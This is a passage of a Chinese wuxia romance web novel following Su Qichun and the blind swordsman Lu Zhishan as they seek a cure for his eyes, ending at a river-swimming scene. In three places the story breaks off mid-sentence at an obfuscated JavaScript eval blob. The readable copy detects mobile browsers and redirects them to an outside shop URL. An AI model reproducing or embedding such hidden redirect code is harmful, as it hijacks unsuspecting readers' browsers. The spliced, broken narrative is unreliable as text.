苏祈春却笑得腰都直不起来了,她捧着陆之山的脸,娇嗔道:“山哥哥,不是‘千千’,是‘纤纤’!” 陆之山闻言,脸上的红晕更深了些,他仔细琢磨着两个发音的区别,犹豫着再次开口,“千千?” “不对不对!”苏祈春笑得肚子都疼了,“是‘纤纤’,不是‘千千’!” “千千?” “还不对!” “山哥哥,你太难教了,跟着我学,‘纤纤’——” 屋外的日头越来越高越来越亮,耀眼的日光隔着云层洒落大地,空荡的村子里,小女郎的笑声经久不衰地回响。 耐寒的鸟儿被惊得从树枝上飞起,天上的云朵也一个个散开,仿佛世间的万物都感受到了她的开心。 老人坐在院子中的石椅上,听着清风朗日,蓦地被小女郎的笑声吓了一跳,他敲敲烟杆儿里的烟灰,脸上露出又欣喜又悲伤的笑。 “这小孙女可算是开心了,那臭小子也没算白费功夫。” 到了正午,苏祈春歪着脑袋听完陆之山说的话,她这才知道,山哥哥能说话都是老人的功劳,她眯着眼道:“爷爷真是个大好人!” 她不管,谁治好了山哥哥,谁就是世上最好的好人! 陆之山趁机又给苏祈春端过来一碗面,苏祈春蹙着眉头,一脸的拒绝,“怎么又是面?” 陆之山笑笑,他坐到苏祈春的身边,端起碗筷凑到她面前,声音温柔,“因为今天是纤纤的生日呀!” 苏祈春的眉头一点点地展开,是了,今天是她的生日,她竟然都忘了,但还好,山哥哥还没忘! 她单手撑着下巴,笑意盈盈地看着陆之山,“山哥哥,你这次说的‘纤纤’是对的,要继续努力哦。” 陆之山忍不住捏捏她的脸,想知道苏祈春的小脑袋瓜儿一天天在想什么? “好了,快吃面,小寿星今天要吃长寿面,吃了面就可以长命百岁了!”陆之山声音中的爱与温暖藏也藏不住。 苏祈春瞧瞧眼前的面条,还是觉得吃不下去,她想了想,眨着眼道:“山哥哥,纤纤要你和我一起吃。” 陆之山扬眉看她,不知她是什么用意。 苏祈春接着道:“纤纤要山哥哥和纤纤一起长命百岁!” 许是被苏祈春直露的话语所触动,陆之山的心忽然变得很静,他等着苏祈春说完话,毫不犹豫地拿起筷子,道:“那山哥哥就和纤纤一起,变成小老头,小老太太。” 苏祈春眨巴着眼,被陆之山这话勾起一些思索,她在脑海里浮过两个人老了之后路都走不动的样子,吃吃地笑。 陆之山问:“纤纤笑什么呢?” 苏祈春捂着嘴,笑得眉眼弯弯,“纤纤在想,山哥哥变成小老头了会是什么样子。” “纤纤觉得呢?”陆之山吸着长寿面,不敢咬断。 苏祈春瞟一眼陆之山,飞快地道:“一定是个超帅的小老头,迷倒万千小老太太。” 陆之山几乎要把嘴里的长寿面都喷出来,他用筷子敲敲苏祈春的小脑袋,无可奈何地说:“纤纤不许胡说。” 苏祈春把头埋进碗里,不理他这句话,心里却在想:才没胡说,哼! 吃完饭,苏祈春又纠正了陆之山好多个读音,他的那些读音都是苏祈春想不到的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她于是也对着天空和白雪大喊:“苍天在上,我苏祈春祈愿。” 陆之山停下来,低头看她。 风呼呼地吹着他们,吹起两人鬓边的发,眼底的白。 “我苏祈春祈愿”苏祈春再次大喊,用尽全身力气地大喊:“唯愿陆之山身体康健,长命百岁!” 陆之山一动不动地看着她,心里闷闷的,沉沉的。 风刮得苏祈春的眼都睁不开了,她的力气也好似在那一声大喊中用完。 她忽地变得小小声,特别小声地说:“希望山哥哥的眼快些好起来。” 风静下来,身边突然传来一声轻叹,她手里多出来一个硬邦邦的东西。 陆之山俯下身子,脑袋碰碰苏祈春的额头,声音涩涩的,“真的一点儿都不像吗?” 苏祈春没想到她随口说的一句话,竟让陆之山深记于心,她别过脸,望着天说:“山哥哥都没见过纤纤,怎么能刻得像呢?” 陆之山直起身,对着天空,笑着接道:“好,那等山哥哥看到纤纤了,山哥哥自己看到底像不像。” “砰”— 一阵烟花在空中炸开。 无数的火花如流星般落下,一一闪耀在苏祈春的眼里,苏祈春回头望见陆之山自信的笑,心脏猛跳。 44. 遇故人 44遇故人 两人正互相对望之时,苏祈春身后传来一阵不明所以的笑声,还未来得及看,老人便悠悠地走出来,“哎哟,好响的烟花,老头子我有多少年没听到这么响的烟花声了。” 苏祈春转身,甜甜地喊:“爷爷!” 老人听着苏祈春朝他跑过来的声音,耳朵有意无意地寻着陆之山的位置,心里莫名地堵。 “我还没谢谢爷爷呢。”苏祈春眨着明亮的眼睛,贴着老人。 老人别过脸,“老头子我可不敢让纤纤女郎谢我,只求纤纤女郎莫要把我的房子给烧了!” 苏祈春算听明白了,老人这还是在记恨她要烧他房子这件事,她挽住老人的胳膊,指天发誓,“爷爷,纤纤错了,纤纤那时不知道爷爷是这样好的一个好人。” “有多好?”老人脸上渐渐升起得意之色。 苏祈春毫不犹疑地答:“天下第一好。” 老人独自生活了这二十年,平日里听得不是风声就是雨声,还是头一次听这么好听的话,甜得他心里舒服极了,连着他脸上的皱纹也舒展开来。 “嘿嘿,没想到你这个小女郎还是很会讲话的嘛。”老人眯了眯眼,忽然一笑,“罢了罢了,看在你今日生辰,又这么会说话的份儿上,老头子我也送你一份礼物。” 苏祈春眉开眼笑,“什么礼物呀?” 说话间,陆之山站到她的身后,他眼上的白布条被风吹得簌簌地响。 只见老人拿出一个木制的小匣子,匣子上刻满了梅花,每一朵都悬空而立,栩栩如生,足可以假乱真。 “你们拿着这药丸,再北上去常春县寻一味名唤半苍的药,一起服下,这臭小子的眼就好了。”老人意味深长地对向陆之山的位置。 苏祈春一天之内得到两个好消息,她都有点儿无所适从,无法反应了,她磕磕巴巴地问:“真……真的吗?” 她不敢相信,老人前些日子不是说已经没药了,怎么偏偏今日就有药了,她记得当日老人说治了眼就会早死,那陆之山会不会也这样? 想到这里,她手背到后面,猛地后退几步,警惕地看着老人。 “怎么?不要了?”老人晃晃手里的木匣,也是奇了,“你不是最想让你的山哥哥好起来么?” 苏祈春盯着那木匣,狠狠摇头,“纤纤不要。” 那木匣子就像是带着毒的糯米糕,让苏祈春既想要又害怕。 老人朝着陆之山的方向转了转脸,脸色难看。 陆之山听了半晌,越过苏祈春,走上前接过那木匣,“为什么不要?纤纤不是最想让山哥哥治好眼睛吗?” “可是那会要了你的命!”白梅林的一堆堆墓冢至今还历历在目,她不敢,“纤纤害怕,爷爷曾经说治了眼疾,会早死,会折寿,山哥哥不是刚刚才说,要和纤纤一起长命百岁的吗?纤纤不要这样,纤纤还想和山哥哥一起变老,你做小老头子,我做小老太太……” 陆之山握着木匣的手一直在颤抖,他的胸口好似压了一个极重的石头,压得他呼吸都要停止。 “山哥哥,我们不要这个药了,我们再去想想别的法子好不好?”苏祈春一步步朝陆之山走近,冰凉的手抚了抚陆之山微皱的眉头,却触碰到他战栗的皮肤。 陆之山艰难地扯出一丝笑,“傻纤纤,他们会折寿是因为他们不会武功,山哥哥内力深厚,不会有事的。” 不待苏祈春回答,陆之山回头问老人,“你说是吗?” 如果不是知道这药的威力,老人一定会相信陆之山的话,像陆之山这样武功高强的人确实世所罕见,但吃了这药,他的武功不但会变为原来的一成,还会每月受万毒噬心之苦,而且,为了阻挡这痛,往往需要剜肉放血,将体内聚集的毒素排出才可缓解,他的亲人也正是因为忍受不了此痛,自戕而亡。 但现下说什么也已经晚了,药陆之山已经吃了,此时不过是在苏祈春面前演一场戏。 待到了常春县,拿到半苍,再吃最后一颗药丸,陆之山便可以看见了,至于之后如何,全看陆之山的造化。 老人掩饰住自己的苦笑,心口涩涩的,他说过不少谎,可这一次面对苏祈春,他说得格外难受,“是啊纤纤,你可别被老头子的话给吓到了,你山哥哥武功高强,吃了这药,最多功力下降两成,不过他这么厉害,下降两成也没什么的嘛!” 苏祈春半信半疑,心里总觉得哪里不对,却又说不出来,陆之山凑到她身边,悄悄地说:“好了,纤纤不要担心了,没事的。” “可……”苏祈春还欲说什么,却被陆之山的手指堵住。 陆之山的食指压在苏祈春的唇上,苏祈春一个字都说不出。 好一会儿,陆之山松开手指,一只手虚虚地滑过苏祈春的乌发,轻声道“放心。” 夜太黑了,要是有人能有一双穿破黑暗的眼睛,一定可以看到陆之山此刻悲凉的笑。 翌日,苏祈春很早就醒了,一个晚上她都没有睡好,她的脑海里总回想起老人说过的话。 会早死,会折寿。 她很害怕,她害怕陆之山因此受到更大的伤害。 所以一直到他们起程去常春县时,苏祈春还在惴惴不安。 老人连喊了好几声苏祈春的名字,苏祈春一概没有听到,他生气地大喊:“纤纤小女郎!你这是用完爷爷就忘了爷爷是不是?!” 苏祈春缓过神来跟老人说:“爷爷,纤纤没有,纤纤要走了,等治好了山哥哥的病,我回来给你养老送终。” 老人愣了一下,嘴角滑过极轻的颤抖,“我才不要你给我养老送终呢!老头子我要云游天下,四海为家,谁都找不着我哈哈哈!” 风雪愈胜,苏祈春缩了缩脖子,拍拍老人的肩膀,“好啊,那爷爷,我们江湖再见!” 老人不说话,但又好像已经说了千言万语,他佝偻的身影在风雪中越来越远,越来越模糊,苏祈春花了好久的时间才将目光从老人身上挪开,落向身旁的陆之山。 此次路途遥远,两人并未借用轻功这种取巧的法子,而是乘上了一条大船,大船顺流而下,一路向北,路过各样山川风景,碧波苍天。 越往北走,天就更加冷起来。 这一日,扑簌簌的雪粒子透过冷灰色的云层落下来,落得满船都是雪,因着船上多是从南方到北方采买的商人,对这般冷并不熟悉,故而一个个都待在船舱里不敢出来。 苏祈春也不例外,她窝在甲板内,紧挨着火炉,一张小脸儿被火烤得红扑扑的。 火炉上还烤着些橘子龙眼之类的,火苗滋滋地燃烧着它们,时不时发出些噼啪的响声。 陆之山摸到一只橘子,橘子被火烤得烫烫的,一剥皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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原来当时苏祈春替婉君治好病后,原来说定的夫家传出些不堪的事情,那夫婿本榜上有名,是要入仕为官的,谁知一日眠花卧柳,竟害得那女妓身死,虽说后来查出并不是他的过错,但他流连妓院之事也已人尽皆知。 婉君自幼克己守礼,心中也有一腔自己的所思所想,她这辈子的如意郎君绝不能是如此作风。可婉君父母宁死不肯退婚,婉君无奈,只得携着奶妈逃出。 “也是在这条船上,我遇见了他。”婉君拿眼瞟着站在屏风外的那个高大男人,“他虽是个江湖客,也没什么钱,但心正行端,待我也好,我……很喜欢。” 苏祈春听得瞪大了眼睛,这是她第二次听到喜欢这个词,第一次是施清荷说的,她说她非第一剑不嫁,第二次就是这次。 这两次,她们说起喜欢时,目光都那么坚定,好像喜欢是一件特别吸引人的,能给人力量的事。 “恭喜呀,婉君姐姐。”苏祈春握住婉君的手,笑个不停,从心里为她高兴。 婉君的脸更红了,苏祈春曾听说过,女人最漂亮的时候就是她脸红的时候,她此刻觉得这句话说得真不错。 “哎,对了。”婉君忍着脸红,说起另一件事,“我夫君曾去过常春县,不若把他叫过来问一问,从何处能找到这半苍。” “那太好了。”苏祈春答。 婉君的夫君听了来意,笑道:“这你们算问对人了,常春县盛产半苍,但方才在外面,我瞧那小兄弟的伤势,非千年的半苍不可。这千年的半苍难得,常春县只有曲家才有。” 苏祈春猛地抬头,出声道:“曲?” 45. 终逢春 45终逢春 大船在水中又穿行了几日,直至遇到冰封后停下,满船的人都尽数下船,更换马车上路,苏祈春因和婉君所去的方向不同,便与婉君匆匆告别。 离别时,苏祈春没忍住掉了几滴泪,婉君姐姐这一去不知道什么时候才能再见,此后天高路远,江湖难见。 她抹抹眼泪,抬头看见陆之山满头的白雪,又想起白首村的老人,她还说要为他养老送终呢,没想到老人竟也要流浪四方。 他们才刚分别,苏祈春却像和他们永别了一般。 所幸之后的路途不远,又走了两天的旱路,苏祈春和陆之山终于到了常春县。 常春县终年冰雪覆盖,气候寒冷,初进城门,举目望去,大街小巷上只有零星几个人,偌大的县城静悄悄的,各个商铺也都门窗紧闭。 苏祈春他们走了许久,才找到一家刚刚开门的牛肉面摊。 苏祈春早已冻得不行,她搓着双手,不断往手心里哈气,陆之山的嘴唇也一片苍白,许是这几日奔波劳累,陆之山的内力越来越弱,苏祈春都不敢让他再为她暖手了。 “两位,您的面到了。”店小二一边肩膀上搭着一条白毛巾,脸上挂着熟络的笑。 苏祈春赶紧吃了一口,牛肉面热乎乎的,从嘴里暖到心里,她吃完一碗,还想再吃。 陆之山在一边听着苏祈春大快朵颐的声音,忍着身上的痛,浅笑不停。 店小二很快又上了一碗,苏祈春趁机问:“小二,这常春县怎么一个人都没有?” 常春县的大小和湛江县差不多,但论热闹程度可就差远了。 店小二道:“这一看客官您就是外地来的,不了解我们这边的习惯,这一是常春县天气很冷,不出太阳的时候更冷,所以我们一般快到中午的时候才会出来。” 苏祈春点点头,恍然大悟。 店小二又说:“这二来呢,最近常春县出了件大事,现在人人都去看热闹,大街上自然就更没人了。” “大事?”苏祈春又问:“什么大事?” 店小二笑笑,“那当然是我们常春县首富之女,曲家二小姐比武招亲之事,恐怕啊,半个常春县的人都在那儿,据说啊,曲家要用他们家祖传的千年半苍给曲二小姐做嫁妆!” “半苍?!” 店小二点头,“对,就是半苍!” 陆之山还没来得及吃完最后一口面条,苏祈春便拽着他往外走,速度之快简直要让他把刚吃的面条给吐出来。 “纤纤,慢点儿!”陆之山无奈地在苏祈春身后唤她。 苏祈春来不及回头,“山哥哥,一会儿她比武招到亲了,那千年半苍就被人拿走了!” 两人没命地跑,等跑过一个路口,周围忽然变得人声鼎沸,乌泱泱的人群围着一个台子,台上摆着一排兵器,一个红衣女子张扬热烈,立于台中。 红衣女子道:“今天是我曲红绡比武招亲的日子,各位只要是有身手的,尽管上来比试,不管男的女的老的少的,丑的美的,还是缺胳膊少腿的,只要赢了我哥哥,也就是天下第一剑,我就嫁给谁,另外,曲家的千年半苍也双手奉上。” 此话一出,人群中瞬间传来一阵沸腾之声。这天下第一剑是何等人物?遇神杀神,遇佛斩佛,那是一般人能打得过吗? 一番讨论下来,人人都摇头推辞,不敢上前。 曲红绡面对众人的退缩,冷哼一声,厉声道:“没用的东西!” 台下又是一阵轰声。 眼见着无人敢上台,一光头大汉喊道:“我来!” 这大汉满脸横肉,腰肥体圆,个子不高,看着却足足有三百斤,而曲红绡说到底也是个十五六岁的小姑娘,因常年练武,身段紧实窈窕,这样貌也是格外出挑,他俩站一块儿,怎么看都不般配。 曲余青以扇遮面,上上下下打量了光头大汉一眼,低声道:“要是他赢了,你也嫁他?” 曲红绡颔首,“必须要嫁,非嫁不可!只是——”曲红绡瞪他,“你可不许手下留情,天下第一剑。” 听到这几个字,曲余青简直头皮发麻,他收起扇子,头也不回地往台上走。 “你就是天下第一剑?”光头大汉瞟着曲余青“纤细”的身材,讥讽地说。 曲余青清咳几声,拱手道:“不才正是。” “好!既然如此,那咱们话不多说,开打吧!” 光头大汉话音刚落,手中的一柄大刀便冲着曲余青砍来。 光头大汉气势汹汹,走起路来连大地都要跟着震上一震,苏祈春刚挤到前面,就看到这儿一幕,不由得为曲余青揪紧了心。 “怎么办呀?这人看着好厉害,他要是伤了曲哥哥可怎么办?”苏祈春苦着脸,拉拉陆之山的衣袖。 按照往常,苏祈春这么可怜兮兮地讲话,陆之山一定会很心疼,可这次,他偏不想理她。 “山哥哥,你说怎么办呀?”苏祈春再次道。 陆之山叹口气,颇不情愿地答:“那人也只是看起来气势汹汹,实则毫无章法,我估计不出十招,曲余青必胜无疑。” 不必去看,光听步伐,陆之山便可听出各人的武功强弱。 果然,第八招时,曲余青侧身躲过光头大汉的大刀,再轻轻踢了一脚,那光头大汉便倒地不起。 台下瞬间燃起一阵喝彩,人人都说:“天下第一剑不愧是天下第一剑,就是厉害。” “哼!”苏祈春昂头,一脸不服气。 陆之山低头问她,“怎么了?” 苏祈春望着他道:“纤纤只知道,山哥哥比天下第一剑还要厉害,山哥哥才应该是天下第一剑。” 陆之山心里瞬间甜甜的,可下一瞬,他又想到那满地的尸体,剑尖流淌下来的血,指尖不住地颤。 “还有谁来挑战?” 不知不觉,已经连续十个人倒在曲余青的剑下,曲红绡为了引得众人上台比试,特意将那千年半苍拿出来,摆在擂台中间,高声道:“这千年半苍,世间只此一份,可治百病,解百毒,只要能赢了曲余青,这半苍就是谁的?有人来吗?!” 曲红绡虽是女子,但浑身英气四溢,倒比男子还要厉害些。 台下一阵哄闹,但无人敢上台,曲红绡心中暗讽,叹息常春县没有好男儿。 正此时,角落里一个小小的稚声传来,声音不大,却坚定异常。 “这里!” 曲红绡朝着声音望过去,只见一团白绒绒朝着台上跑来,她带着帷帽,一眼便可瞧出女子身份。曲红绡正以为是谁来捣乱呢,眼角余光又瞥到她身后的白色身影。 她盯着那身影望了一会儿。 “这里有!”苏祈春拉着陆之山上台,对着曲红绡说:“这里有人。” “你?”曲红绡有点儿犹豫。 “纤纤,你可不行。”曲余青先说了话。 “曲哥哥!”苏祈春面向曲余青,“不是我,是山哥哥,我们想要那千年半苍,特意赶来的。” “哦?”曲余青心虚地摸摸鼻子,“要是陆之山的话,那不用比了,我甘拜下风。” “什么?!”苏祈春和曲红绡异口同声道。 苏祈春见过曲余青和陆之山的武功,她虽不懂武艺,但也能看出,曲余青和陆之山完全不在一个水平线上,可如今曲余青竟直接认输,这倒让她着实没想到。 曲红绡柳眉竖起,眼风凌厉,“你什么意思?打都没打就认输了?算什么天下第一剑?” 曲余青素来知道他这妹妹的火爆脾气,可陆之山的功夫那么厉害,他就算再练十年都不一定能打得过,他还不如早早认输得好,省得在众人面前丢脸。 “妹妹,你是不知道他有多厉害,你啊”他压低了声音道:“你就给你哥我留点儿面子吧!” 曲余青不想出丑,可曲红绡却以为她是故意不给她面子,她甩出鞭子,怒声道:“你敢不打?!” 曲余青还不及反应,一条红色的长鞭便朝他袭来,鞭尾划破长空的声响震耳。 曲余青眼疾手快,朝后猛一弯腰,鞭子从鼻尖处滑过,只差一指便要打中曲余青。 台下人看得连连惊呼。 曲余青一个翻身,反手握住鞭尾,道:“你疯了?连你哥你都打?” 曲红绡手腕一转,抽回鞭子,冷笑着说:“我打得就是你这种胆小之辈。” 说罢,长鞭又朝曲余青袭来。 曲余青不能伤她,只能躲避,因此被鞭子追得满台子跑,但奇就奇在,看似曲余青狼狈,但曲余青没伤到一点儿,曲红绡反而手忙脚乱,倒像是他在耍着曲红绡玩。 曲红绡也觉察出这一点,手中鞭子甩得更快,可曲余青游鱼一般,挨都挨不到他,曲红绡面露急色,出招更没章法起来。 曲余青一个纵身,翻至台子另一侧,曲红绡鞭子够不着他,索性绕了半个台子去打他,却又被他躲过。 曲红绡见近不了他的身,怒道:“曲余青,你不打是不是?” 曲余青摸摸鼻子,哀叹道:“不是不打,是打不过呀!” 曲红绡握紧鞭子,“好,你不打,我打!” 话音刚落,曲红绡的鞭子便调转方向,朝着陆之山而去。 “我倒要看看,这人有多厉害!” 曲红绡的鞭子快,陆之山的动作更快,鞭风未至,陆之山便在掌心蓄积内力,只待接住这一鞭。 曲红绡的功力不济,可这一手鞭子却使得出神入化,常春县内,还没人敢硬接,连曲余青也不行。这人竟如此狂妄,她不由得使出十分力气,非要教他见识见识。 鞭子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150422|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已至,陆之山伸手,好像是抓住一根飘落的羽毛一般,抓住了那鞭子。 曲余青忍不住鼓掌,走到曲红绡身边,耳语道:“我就说他很厉害吧?” “是吗?”曲红绡抽回长鞭,陆之山蓦地倒地,口中吐出一大滩鲜血。 “怎么会?”曲余青皱眉,以他对陆之山武功的了解,接这一鞭子应当毫无问题才对。 曲红绡一声冷笑,“看来也不过如此。” 台子上,陆之山半跪在地上,鲜血满口,脸上血色全无,苏祈春扶着他,着急地问:“山哥哥,你怎么样了?” 她慌张得不知道做什么才好,好一会儿才想起来,她是个大夫,她可以把脉,但陆之山的脉象完好,除了有些虚弱,看不出任何毛病。 “没事……我没事……”陆之山扭头看她,脸上扯出一丝笑。 “怎么能没事呢?你都流血了,流了好多好多血。”苏祈春从怀里拿出几颗补身子的丹药,塞到陆之山嘴里,“山哥哥,你先吃点儿补气的药。” 曲余青不知何时出现在旁边,他抓住陆之山的手,探了探他的经脉,眉头紧皱,“你怎么……” “我要治眼睛,我要半苍……”陆之山接道。 曲余青扬了扬眉,“你会说话了?” 苏祈春道:“山哥哥的哑症已经治好了,我们来这里就是想要那半苍,曲哥哥,求求你帮帮我们吧。” 苏祈春一双含泪杏眼,看得人心动心酸。 曲余青虽不知道这其中到底发生了何事,但这个忙他一定会帮,“行了,你们先回去吧,这点儿小事儿包在我身上。” 闻言,苏祈春扶着陆之山站起来,曲红绡眼风扫过他们,又盯住曲余青,警告他,“你,少给我耍心眼!” * 曲余青脱不开身,托一个小厮给苏祈春两人安排了住处,陆之山躺在床上,睡了许久也不醒,苏祈春也坐不住,跑到外面去买药。 外面天寒地冻,路上结了一层层的冰,走在上面一不留神就要摔倒。 苏祈春捧着药,心里想着陆之山,脚下的步子也不由得快起来。 日头渐高,大地暖起来,常春县路上的行人也渐渐多了,路上的商贩,行人都涌出来,连着玩闹的小孩,蹒跚的老人都走上大街,一时之间,大街上人来人往,热闹异常。 “你这小子,走路不长眼啊!”正前方,一个肚大肠肥满面红光的人指着一个小乞丐大骂。 小乞丐衣着褴褛,骨瘦如柴,跪在地上连连求饶。 “大爷饶命大爷饶命!” “草他娘的,给我滚!别在我面前晃!”红光满面的人踹了小乞丐一脚,扬长而去。 小乞丐躺在地上,捂着肚子,疼得直打滚,苏祈春不忍心,走上前问:“你……你还好吗?” 小乞丐听到这声音,忽然停住,像被人点了穴一般。 苏祈春又喊了几声,见他始终没回应,便拿出一瓶药丸放在一旁,又放了几锭银钱,“我这里有一些药和银子,你拿去治好伤,吃顿饱饭吧。” 小乞丐低下头,一言不发。 苏祈春也不再多问,连忙赶回。 回到屋里时,陆之山已经醒了,曲余青姗姗来迟,从怀里取出那千年半苍。 “受人之托,忠人之事。”曲余青笑,“我在这里祝陆兄早得光明。” 苏祈春感激不尽,甜甜道:“谢谢曲哥哥。” 转眼间,天又黑了,房间里,只剩一盏烛火筚拨作响。 苏祈春取出木匣子,拿出那药丸,药丸黑乎乎的一大颗,看着特吓人。 苏祈春忧心地说:“山哥哥,真的没事吗?” 会不会早死,会不会折寿? 陆之山温柔地笑,嘴角沁出的血鲜红,“没事的,吃了这药,山哥哥就能看见了,纤纤想让山哥哥看见,不是吗?” “才不是!”苏祈春含泪摇头,“纤纤希望的是,山哥哥可以好好的,健健康康,平平安安……如果治好眼睛的代价是让你折寿,那我宁可不要!” 陆之山笑得凄凉,他拿过那药丸,不待苏祈春反对,仰头吞下,轻轻地说:“放心,山哥哥一定让纤纤如愿。” 他取来半苍熬成的药水,喉咙上下一滚,连着口内的鲜血一并咽下。 “山哥哥,你怎么样?” 苏祈春盯着陆之山,一目不眨,甚至连呼吸都要停止。 她取下陆之山眼上的白布条,看着他睁开眼,原本眼球上的红血丝已经消退,黑白分明的眼格外清澈好看。 苏祈春望向眼底深处,一个睁着乌黑眼眸的小女郎铺展在其中,那样清晰,那样深刻。 陆之山缓缓道:“纤纤的样子,和山哥哥想的,一模一样。” 苏祈春忽地笑了,笑容如春风化雪。 46. 父母心 46父母心 乌云低垂,沉沉地挂在屋檐之上,倾盆的雨透过厚厚的云层肆无忌惮地砸在屋顶,劈里啪啦地响。 永安大道上,融化的雪水和雨水交融掺杂在一起,使得原本平坦的道路变得泥泞不堪。 申时三刻,大雨还未停歇,一辆马车便出现在雨幕之中,顶着暴雨朝前走去。 马车在苏府门口停下,丫鬟小翠撑起伞,护着崔夫人下车。 崔夫人抬眼望见苏府的牌匾,忍不住叹息一声,目光瞬间黯淡下来。 自从一个月前她给苏祈春说了白头村的事后,苏祈春便带着陆之山失踪了,苏家连同施家去到白头村,可偏偏遇见了大雪封江,耽搁了几日,等到白头村时,白头村已空无一人。 之后两家再怎么找也找不出苏祈春和陆之山的半点踪影。 苏家人上下担忧不止,先是苏川谷失踪,又是苏祈春失踪,苏老夫人焦心得一病不起,在床上足足躺了半月有余。 不止苏老夫人,起初众人心疼杨夫人体弱,都瞒着她,可纸终究包不住火,有一日杨夫人偶然从丫鬟嘴里听到苏祈春失踪的消息,登时晕倒在地,这一连几日,都要靠人参才勉强吊着性命。 想想她也是好心,希望苏祈春能快些治好她哥哥的病,没想到好心却办了坏事,想到这儿,她又叹了一声。 “夫人,您别担心,大公子前几日带了人又去找去了,这次有不止一个商贩说见过祈春女郎,相信一定能找到的。” 小翠是前不久施之谓寻苏祈春的途中捡到的,当时她刚刚丧父,无处可去,就被施之谓带回来,留在崔夫人身边侍奉。她人活泼机灵,会宽慰人,颇得崔夫人喜爱。 崔夫人听了她的话,点点头,道:“但愿吧。” 这样想着,崔夫人来到苏老夫人屋里,苏老夫人躺在床上,眼睛微闭着,见崔夫人来了,头往里别了别。 崔夫人满脸尴尬,说话也不是,不说话也不是。 这因为曲余青的事情,两家大吵过一次,现下又出了苏祈春这回事,苏老夫人想必是恨她入骨了。 她也不想自讨没趣,索性将带过来的东西放下,转身离开,还未走出屋门,屋内便传来一阵响声,她打眼一看,送过去的东西被扔在地上。 “夫人……”小翠欲言又止。 崔夫人僵硬地笑笑,“没事,我们走,去瞧瞧杨夫人。” 觉明院里永远是一股子药香,刚走到门口,崔夫人就听到一阵啜泣声。 “纤纤……纤纤她去哪了?你……你把我的女儿还给我!”杨夫人孱弱的话音断断续续地飘出来。 苏知辛道:“我会的,我会找到我们的女儿的,你别激动,你要好好的,好不好?” “没有纤纤,你让我怎么好起来?”杨夫人的声音越说越低,“都怪我,要是我身体康健,就能像其他的娘亲那样陪纤纤,照顾纤纤,就不会连她失踪了那么久都不知道……” 杨夫人说得哽咽不止。 苏知辛也叹息道:“不怪你,怪我,要是我能再对她温柔些,她也不会不相信我们,一声不吭地就自己去找药了,她一定是害怕我会拦着她不让她去,是我平时对她太严厉了,是我的错!” 苏知辛说完,猛捶两拳,悔恨不已。 崔夫人也是母亲,也知道父母之心,她此时听到这些,再也忍不住了,冲到屋里,大声道:“你们别争了!” 苏知辛和杨夫人见到她吓了一跳,两双眼睛狐疑地看着她。 她缓缓道:“不是你们的错,是我的错,我不该跟纤纤说白头村的事,是我错了……” 如果不是她多管闲事……可惜一切没有如果。 “你们放心,我一定帮你们找到纤纤!”她说完这两句话,再也没脸面对他们,扭身就往外跑,一头扎进雨幕里。 小翠匆匆追来,撑起伞挡雨,“夫人,你瞧瞧,你身上都淋湿了。” 崔夫人摇头,“不打紧。” 淋在她身上的这点儿雨算什么,淋在苏知辛和杨夫人心里的雨才大呢。 耳边的雨声更大了些,天空中兀地又闪出几道闪电,接着轰隆的雷声在空中炸开,震耳欲聋。 不远处传来一阵喧闹声和哭声,一个秀丽女子赤着脚跑出来,她神情癫狂,举止无状,嘴里大声地喊着:“山儿,山儿,山儿你在哪?” 她的身后跟着一个高大男子,男子抓住她的胳膊,把她搂在怀里,迫使她冷静下来,“兰儿,别怕,山儿一会儿就回来,一会儿就回来……” 女子不断挣扎,甚至张嘴去咬男人的肩膀,撕心裂肺地说:“你骗我,山儿不会回来了,我早就知道,山儿他不会回来了,永远不会回来了!” 女子绝望的目光隔着雨幕都叫崔夫人心疼,她回想起陆之山的模样,那样子和眼前的两人完全不同,但听他们说的话,应当是陆之山的父母。 她不仅害得苏祈春不见了,连着陆之山也找不到了。 她的罪孽可真够深重的! 越是这么想,她越觉得自己错得太多,头脑一阵眩晕,再也支撑不住,回了施府。 施大爷外出刚回,说起一件事,说是近来湛江县附近的江湖人士颇多,县令派人打探,原来是第一楼的天下第一剑最近出现在这儿。 这天下第一剑这一次还领了一个任务,要杀一个人,只是这个人,没人知道是谁。 上一次天下第一剑出现在湛江县时,湛江县便有数人死在他剑下,这次又来,指不定会乱成什么样? 崔夫人听得心突突跳,苏祈春和陆之山在外面,不知有多少危险困难,万一他们遭遇不测了可怎么办? 她愁得眉头紧锁,全然不知道该如何是好。 但湛江县发生的一切苏祈春和陆之山都不知道。 此刻,他们正泛舟湖上,相坐而笑。 连着行了几日的船,离湛江县越来越近,天气也暖起来,苏祈春自幼在水边长大,憋了一个冬天,眼见着天清云朗,日头暖暖的,她就忍不住想要跳下水好好游几圈。 恰好这日,船停在岸边休整,她便拉着陆之山走到一处偏僻地方,扑通一声跳进了水里。 陆之山忙凑近水边瞧她,只见湖面上一片静谧平静,连个人影都瞧不着,他心里一急,也不管自己会不会水,大喊一声:“纤纤——”也跟着跳了进去。 日头虽暖,但他还是被有些冷的水冻得浑身刺痛,他平日里用内力压制,还不觉得很痛,现下被水这么一泡,疼痛让他难忍到几乎要晕过去。 而他也不会水,刚跳下去便呛了好几口水,双手控制不住地扑腾着,不让自己往下沉。 尽管如此,他还是忘不了要找纤纤,“纤纤——你在哪?” 苏祈春猛地从他身边的水面中冒出来,看到陆之山这副样子,又心疼又好笑,“山哥哥,你不会水呀?” 